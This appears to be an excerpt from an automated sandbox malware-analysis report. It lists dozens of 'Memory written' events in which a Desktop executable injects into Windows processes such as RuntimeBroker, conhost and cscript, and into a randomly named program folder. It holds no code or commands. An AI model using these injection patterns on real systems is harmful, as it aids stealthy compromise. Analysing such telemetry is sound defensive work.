Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: F70000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 9A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: AA0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SysWOW64\cscript.exe base: 4980000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SysWOW64\cscript.exe base: 49E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\conhost.exe base: 590000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\conhost.exe base: 570000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\backgroundTaskHost.exe base: BC0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: BE0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 6B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 6C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2E80000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2ED0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 23C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2410000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 27F0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2940000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2350000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 26A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2670000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2790000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2550000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 25A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2F80000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 30D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 670000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 6C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: C30000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: C40000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1270000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2D70000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2080000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 20D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1080000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1090000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 23D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 24F0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2720000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2770000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 570000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 580000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2840000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2890000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 9E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 9F0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2CA0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2CF0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1080000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1090000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2D20000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2D70000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2990000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 29E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 26B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2700000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2FB0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2FC0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1400000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2DF0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: FE0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: FF0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 29A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 29B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: C90000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: CE0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 21D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2220000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2AD0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2B20000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2D40000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2D90000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2C40000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2C90000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2A80000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2BD0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1480000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 3230000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: E70000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: E80000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 890000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 21C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2E00000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2E50000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2540000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2690000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2CE0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2CF0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2BF0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2C40000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 28C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2910000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 21E0000 Jump to behavior
